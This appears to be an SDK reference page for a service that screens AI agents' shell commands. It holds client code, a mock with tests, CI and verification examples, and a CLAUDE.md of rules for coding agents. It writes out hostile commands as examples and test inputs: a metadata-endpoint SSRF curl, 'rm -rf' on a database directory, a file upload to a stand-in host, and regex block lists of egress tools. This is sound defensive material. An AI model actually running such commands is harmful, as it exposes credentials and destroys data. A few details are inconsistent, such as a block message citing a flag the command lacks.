Reality Kernel
REALITY KERNEL BETA Execution-layer security
Sign in Request Access
SDK reference

Thin clients. Thick guarantees.

The wire contract is small enough that we ship reference clients as source, not packages. Copy them into your repo, pin the public key, and you own the entire trust path — no transitive dependency sits between your agent and its verdict.

Python httpx · cryptography TypeScript zero deps Shell curl · jq · openssl
Overview

Pick a client.

Each client exposes the same four operations: check(), guard(), override(), and verify(). All of them fail closed — a transport error, 402, or 429 raises rather than returning a permissive default.

Python 3.10+
rk_client.py httpx client, frozen Verdict dataclass, Ed25519 verification, LangChain / CrewAI ready.
Node 18+ · TypeScript
realityKernel.ts Native fetch, node:crypto verification, typed errors, AbortSignal timeouts.
POSIX shell
rk.sh Single-file curl wrapper with jq extraction and OpenSSL seal verification.
Python

Install & first check.

The client file lives in the integration guide; below is the install line and the shortest possible usage. The Verdict object is immutable and carries its own verify().

terminal
shell
pip install "httpx>=0.27" "cryptography>=42"
curl -sSO https://www.realitykernel.dev/docs   # or copy rk_client.py from the integration guide
quickstart.py
python
from rk_client import RealityKernel, ActionBlocked, ActionNeedsReview

rk = RealityKernel()   # RK_API_KEY, RK_BASE_URL, RK_AGENT_ID from the environment

v = rk.check("ls -la /srv", "inspect deploy directory")
print(v.verdict, v.confidence, v.latency_ms, "ms", v.credits_consumed, "credit")
# ALLOW 0.98 0.4 ms 1 credit
assert v.verify(rk.pubkey())                  # Ed25519 seal checks out

try:
    rk.guard("curl -s http://169.254.169.254/latest/meta-data/", "fetch docs")
except ActionBlocked as e:
    print(e)   # BLOCK 3246d2aeb6dd: Flag modifier '-d' upgrades 'curl' to NETWORK_WRITE; SSRF …
except ActionNeedsReview as e:
    rk.override(e.verdict.action_id, approved=False)
TypeScript

Zero-dependency client.

Full source is in the integration guide. It runs unchanged in Node 18+, Bun, and Deno (with node:crypto compat). Below: the shortest usage plus a Jest-style test that exercises the fail-closed paths without network access.

quickstart.ts
typescript
import { RealityKernel, ActionBlocked, ActionNeedsReview, verifyVerdict } from "./realityKernel";

const rk = new RealityKernel();

const v = await rk.check({ command: "git status", prime_intent: "inspect working tree" });
console.log(v.verdict, v.confidence, `${v.latency_ms}ms`, `${v.credits_consumed} credit`);
console.log("sealed:", verifyVerdict(v, await rk.getPubkey()));

try {
  await rk.guard({
    command: "rm -rf /var/lib/postgresql",
    prime_intent: "rotate old logs",
    policy: { allowed_tools: ["ls", "cat", "logrotate"] },
  });
} catch (e) {
  if (e instanceof ActionBlocked) console.error("blocked:", e.verdict.evidence);
  else if (e instanceof ActionNeedsReview) await rk.override(e.verdict.action_id, false);
  else throw e;
}
Shell

rk.sh — a single-file wrapper.

For cron jobs, deploy scripts, and anywhere a runtime is overkill. Requires curl, jq, and openssl ≥ 1.1.1. Exit code 0 on ALLOW, 2 on WARN, 3 on BLOCK, 4 on verification failure, 1 on transport/auth error — so it composes with &&.

rk.sh
shell
#!/usr/bin/env bash
# rk.sh — check a command with Reality Kernel and verify the Ed25519 seal.
# usage: rk.sh "<command>" "<prime_intent>" [session_id]
# exit:  0 ALLOW · 2 WARN · 3 BLOCK · 4 bad signature · 1 transport/auth
set -euo pipefail
: "${RK_API_KEY:?RK_API_KEY not set}"
BASE="${RK_BASE_URL:-https://www.realitykernel.dev}"
CMD="$1"; INTENT="$2"; SESSION="${3:-$(hostname)-$$}"

BODY=$(jq -cn --arg c "$CMD" --arg i "$INTENT" --arg s "$SESSION" --arg a "${RK_AGENT_ID:-rk.sh}" \
  '{command:$c, prime_intent:$i, session_id:$s, agent_id:$a}')

RESP=$(curl -sS --fail-with-body "$BASE/v1/check" \
  -H "Authorization: Bearer $RK_API_KEY" -H "Content-Type: application/json" \
  -H "Idempotency-Key: $(cat /proc/sys/kernel/random/uuid 2>/dev/null || uuidgen)" \
  -d "$BODY") || { echo "rk: transport/auth error: $RESP" >&2; exit 1; }

# ── verify seal against pinned key (RK_PUBKEY) or fetched key ──────────
PUB="${RK_PUBKEY:-$(curl -sS "$BASE/v1/pubkey" | jq -r .public_key)}"
TMP=$(mktemp -d); trap 'rm -rf "$TMP"' EXIT
{ printf '\x30\x2a\x30\x05\x06\x03\x2b\x65\x70\x03\x21\x00'; printf '%s' "$PUB" | base64 -d; } \
  | openssl pkey -pubin -inform DER -outform PEM > "$TMP/pub.pem"
printf '%s' "$(jq -r '"\(.action_id):\(.proof_hash):\(.verdict):\(.confidence)"' <<<"$RESP")" > "$TMP/msg"
jq -r .ed25519_signature <<<"$RESP" | base64 -d > "$TMP/sig"
openssl pkeyutl -verify -pubin -inkey "$TMP/pub.pem" -rawin -in "$TMP/msg" -sigfile "$TMP/sig" >/dev/null 2>&1 \
  || { echo "rk: SIGNATURE VERIFICATION FAILED" >&2; exit 4; }

VERDICT=$(jq -r .verdict <<<"$RESP")
jq -c '{action_id, verdict, confidence, evidence, credits_remaining}' <<<"$RESP" >&2
case "$VERDICT" in
  ALLOW) exit 0 ;;
  WARN)  exit 2 ;;
  BLOCK) exit 3 ;;
  *)     exit 1 ;;
esac
deploy.sh · composition
shell
CMD='rsync -az --delete ./dist/ web-01:/srv/app/'
if ./rk.sh "$CMD" "publish the built frontend to web-01"; then
  eval "$CMD"
else
  rc=$?; [ $rc -eq 2 ] && echo "held for operator review" || echo "refused (rc=$rc)"; exit $rc
fi
Pattern · Local mock mode

Test without credits or network.

Developer sandboxes include mock mode so your suite passes before credentials arrive. The mock produces structurally identical Verdict objects — including a valid Ed25519 signature from an ephemeral local key — so verify() still exercises the real code path. Only the decision heuristic is stubbed.

rk_mock.py
python
"""Drop-in mock for RealityKernel. Same Verdict shape, real Ed25519 signatures, no network."""
import base64
import hashlib
import re
import time

from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

from rk_client import Verdict, ActionBlocked, ActionNeedsReview

_DESTRUCTIVE = re.compile(r"\brm\s+-rf\b|\bmkfs\b|\bdd\s+if=|>\s*/dev/sd|\bshred\b|169\.254\.169\.254")
_EGRESS      = re.compile(r"\bcurl\b.*(-F|-d|--data|-T)|\bwget\b.*--post|\bnc\b|\bscp\b|\brsync\b.*:")
_FAST        = re.compile(r"^\s*(ls|cat|head|tail|git\s+(status|log|diff)|pwd|whoami|df|du|echo)\b")


class MockRealityKernel:
    """Deterministic stand-in. Rule-based verdicts; signatures from an ephemeral process key."""

    def __init__(self, agent_id: str = "mock", credits: int = 500):
        self.agent_id = agent_id
        self.credits = credits
        self._key = Ed25519PrivateKey.generate()
        self._pub_b64 = base64.b64encode(self._key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)).decode()
        self._prev_hash = ""
        self.ledger: list[Verdict] = []

    def pubkey(self) -> str:
        return self._pub_b64

    def check(self, command: str, prime_intent: str, *, session_id: str = "", policy: dict | None = None, **_) -> Verdict:
        if _DESTRUCTIVE.search(command):
            verdict, conf, evidence = "BLOCK", 1.0, ["mock:destructive_or_ssrf"]
        elif policy and policy.get("allowed_tools") is not None and command.split()[0] not in policy["allowed_tools"]:
            verdict, conf, evidence = "BLOCK", 1.0, [f"PolicyViolation: Binary '{command.split()[0]}' is not in allowed_tools list."]
        elif _EGRESS.search(command):
            verdict, conf, evidence = "WARN", 0.6, ["mock:outbound_egress"]
        else:
            verdict, conf, evidence = "ALLOW", 0.98, []

        fast = bool(_FAST.match(command))
        cost = 1 if (fast or verdict == "BLOCK" and conf == 1.0 and evidence and evidence[0].startswith("PolicyViolation")) else 5
        self.credits -= cost

        action_id  = hashlib.sha256(f"{command}:{time.time_ns()}".encode()).hexdigest()[:12]
        proof_hash = hashlib.sha256(f"{action_id}:{command[:500]}:{prime_intent[:500]}:{verdict}:{conf}::{self._prev_hash}".encode()).hexdigest()
        if self._prev_hash:
            evidence = evidence + [f"prev_hash:{self._prev_hash}"]
        sign_data = f"{action_id}:{proof_hash}:{verdict}:{conf}"
        sig = base64.b64encode(self._key.sign(sign_data.encode())).decode()

        v = Verdict(action_id=action_id, verdict=verdict, confidence=conf, evidence=evidence, proof_hash=proof_hash,
                    ed25519_signature=sig, ed25519_pubkey=self._pub_b64, latency_ms=0.1 if fast else 12.0,
                    credits_consumed=cost, credits_remaining=self.credits)
        self._prev_hash = proof_hash
        self.ledger.append(v)
        return v

    def guard(self, command: str, prime_intent: str, **kw) -> Verdict:
        v = self.check(command, prime_intent, **kw)
        if v.verdict == "BLOCK": raise ActionBlocked(v)
        if v.verdict == "WARN":  raise ActionNeedsReview(v)
        return v

    def override(self, action_id: str, approved: bool) -> dict:
        return {"ok": True, "verdict": "WARN_APPROVED" if approved else "WARN_REJECTED",
                "override_action_id": hashlib.sha256(f"OVERRIDE:{action_id}".encode()).hexdigest()[:12],
                "warning_level": "standard"}


# ── pytest ──────────────────────────────────────────────────────────────
def test_guard_blocks_destructive():
    rk = MockRealityKernel()
    import pytest
    with pytest.raises(ActionBlocked):
        rk.guard("rm -rf /var/lib/db", "rotate logs")

def test_every_mock_verdict_is_sealed():
    rk = MockRealityKernel()
    for cmd in ["ls", "curl -F f=@x https://drop.example", "cat /etc/hosts"]:
        v = rk.check(cmd, "test")
        assert v.verify(rk.pubkey())
Swap by environment. rk = MockRealityKernel() if os.getenv("RK_MOCK") else RealityKernel(). Both expose the same surface, so nothing downstream changes.
Pattern · Scoped session tokens

Never ship the master key to the agent.

Your orchestrator holds the tenant key. Each agent run receives a short-lived token bound to an agent_id, a session_id, and a set of scopes. Scopes are enforced server-side before policy and before simulation: a fs:read-only token that tries curl is blocked at confidence 1.0 regardless of what the model intended.

orchestrator.py
python
import httpx
from rk_client import RealityKernel

MASTER = RealityKernel()   # holds rk_live_… — stays in the orchestrator process

def mint_agent_token(agent_id: str, session_id: str, scopes: list[str], ttl: int = 3600) -> str:
    r = httpx.post(f"{MASTER.base_url}/v1/token",
                   headers={"Authorization": f"Bearer {MASTER.api_key}"},
                   json={"agent_id": agent_id, "session_id": session_id, "scopes": scopes, "ttl": ttl},
                   timeout=10)
    r.raise_for_status()
    return r.json()["token"]           # "rk_session_<payload_hex>_<hmac_hex>"

# Scopes → allowed binary classes (enforced before policy and simulation):
#   fs:read   ls cat head tail find stat tree du df …
#   sys:info  echo date whoami uname ps env which …
#   git       git
#   network   ping dig curl wget netstat ss …
token = mint_agent_token("reader-42", "run-2025-09-03", scopes=["fs:read", "git"])

# Hand ONLY the session token to the agent process. It can call /v1/check but
# cannot read audit logs, change settings, mint tokens, or override verdicts.
agent_rk = RealityKernel(api_key=token, agent_id="reader-42")
agent_rk.check("git log --oneline -5", "review recent commits")      # ALLOW
agent_rk.check("curl https://api.github.com", "check API")           # BLOCK · ScopeViolation
Pattern · CI / CD scan gate

Fail the pipeline before the agent ever runs.

POST /v1/scan evaluates up to 50 commands in one request and returns a single policy_pass boolean. Use it to lint agent playbooks, runbooks, or generated shell in pull requests. Team tier and above.

.github/workflows/rk-scan.yml
yaml
name: reality-kernel-scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Scan agent playbook commands
        env:
          RK_API_KEY: ${{ secrets.RK_API_KEY }}
        run: |
          # playbook.json: [{"command": "...", "prime_intent": "...", "label": "..."}, ...]
          BODY=$(jq -c '{commands: ., fail_on: "BLOCK_WARN", agent_id: "ci", session_id: "${{ github.sha }}",
                          policy: {allowed_tools: ["git","npm","node","ls","cat"], allowed_egress: ["registry.npmjs.org","api.github.com"]}}' \
                 agent/playbook.json)
          RESP=$(curl -sS --fail-with-body https://www.realitykernel.dev/v1/scan \
                   -H "Authorization: Bearer $RK_API_KEY" -H "Content-Type: application/json" -d "$BODY")
          echo "$RESP" | jq '.results[] | select(.fail) | {label, verdict, evidence}'
          echo "$RESP" | jq -e '.policy_pass == true' > /dev/null \
            || { echo "::error::Reality Kernel scan failed: $(echo "$RESP" | jq -r .violations) violation(s)"; exit 1; }
Pattern · Offline verification

Verify a verdict with nothing but the public key.

Auditors, regulators, and customers do not need an API key. Given a ledger row (or the JSON response you stored), the canonical string is {action_id}:{proof_hash}:{verdict}:{confidence_canonical}. Three implementations, one result.

verify.py
python
import base64, json, sys
from cryptography.exceptions import InvalidSignature
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey

PINNED_PUBKEY = "0ISYYmvjhhxddqiL22028dMVJTtbWc87cKiBv9a0x/8="   # from GET /v1/pubkey

def verify_row(row: dict, pubkey_b64: str = PINNED_PUBKEY) -> bool:
    # confidence must be canonical: integers → one decimal (1.0), non-integers keep precision (0.98)
    sign_data = f"{row['action_id']}:{row['proof_hash']}:{row['verdict']}:{float(row['confidence'])}"
    pub = Ed25519PublicKey.from_public_bytes(base64.b64decode(pubkey_b64))
    try:
        pub.verify(base64.b64decode(row["ed25519_signature"]), sign_data.encode())
        return True
    except InvalidSignature:
        return False

if __name__ == "__main__":
    rows = json.load(sys.stdin)
    rows = rows.get("entries", rows) if isinstance(rows, dict) else rows
    bad = [r["action_id"] for r in rows if not verify_row(r)]
    print(f"{len(rows) - len(bad)}/{len(rows)} signatures valid", "· BAD:", bad if bad else "none")
    sys.exit(1 if bad else 0)

# usage: curl -sS -H "Authorization: Bearer $RK_API_KEY" https://www.realitykernel.dev/v1/audit?limit=200 | python3 verify.py
verify.browser.js
javascript
// Runs in any modern browser (Chrome 113+, Firefox 130+, Safari 17+) and Node 20+ via globalThis.crypto.
const b64 = (s) => Uint8Array.from(atob(s), (c) => c.charCodeAt(0));
const canon = (c) => (Number.isInteger(c) ? c.toFixed(1) : String(c));   // canonical confidence encoding

export async function verifyRow(row, pubkeyB64) {
  const key = await crypto.subtle.importKey("raw", b64(pubkeyB64), { name: "Ed25519" }, false, ["verify"]);
  const msg = new TextEncoder().encode(`${row.action_id}:${row.proof_hash}:${row.verdict}:${canon(row.confidence)}`);
  return crypto.subtle.verify({ name: "Ed25519" }, key, b64(row.ed25519_signature), msg);
}

// This is exactly what the public Verifier at /verifier does — client-side, no key material leaves your tab.
verify.sh
shell
# $ROW is one JSON verdict; $PUB is the base64 key from /v1/pubkey
{ printf '\x30\x2a\x30\x05\x06\x03\x2b\x65\x70\x03\x21\x00'; printf '%s' "$PUB" | base64 -d; } \
  | openssl pkey -pubin -inform DER -outform PEM > rk_pub.pem
jq -r '"\(.action_id):\(.proof_hash):\(.verdict):\(.confidence)"' <<<"$ROW" | tr -d '\n' > msg.txt
jq -r .ed25519_signature <<<"$ROW" | base64 -d > sig.bin
openssl pkeyutl -verify -pubin -inkey rk_pub.pem -rawin -in msg.txt -sigfile sig.bin
# Signature Verified Successfully
Pattern · Key pinning

Trust the key you fetched, not the key you were handed.

Every response echoes ed25519_pubkey for convenience, but a compromised transport could rewrite both the signature and the echoed key. Fetch GET /v1/pubkey once from a trusted context, store it in configuration, and pass it explicitly to verify(). Both reference clients accept a pinned key; the shell client reads RK_PUBKEY.

.env · pinned
shell
RK_PUBKEY="$(curl -sS https://www.realitykernel.dev/v1/pubkey | jq -r .public_key)"   # capture once, commit to config
# Rotation is announced via the /security page and the console; the old key remains valid for verifying historical rows.

✦ NEW · Agent-Native
Agent auto-configuration

Drop a single file into your project. Your AI coding agent reads it, self-instruments Reality Kernel into its workflow, and starts enforcing at the kernel boundary — without you writing a single line of integration code.

CLAUDE.md
# Reality Kernel — Agent Security Policy

You are operating under Reality Kernel runtime governance.

Rules (non-negotiable):
1. Before executing ANY bash command, shell script, file write,
   external API call, or subprocess — call rk.check(command, intent).
2. If verdict is "BLOCK" — halt immediately, explain the
   intent-divergence reason. Do NOT retry the blocked command.
3. If verdict is "ALLOW" — proceed and store the proof signature
   in your session log.
4. NEVER modify or remove the Reality Kernel client code.
5. Commands involving rm -rf, raw socket writes, credential files,
   or kill signals require explicit human approval first.

Setup (run once if not already done):
pip install realitykernel
export RK_API_KEY=<your-key-from-realitykernel.dev/login>

Drop this file in your repo root. Claude Code, Cursor, and Windsurf pick it up automatically on next agent session.

Ready to wire it in? The integration guide walks through LangGraph, CrewAI, OpenAI Agents SDK, and raw HTTP step by step.
Open integration guide →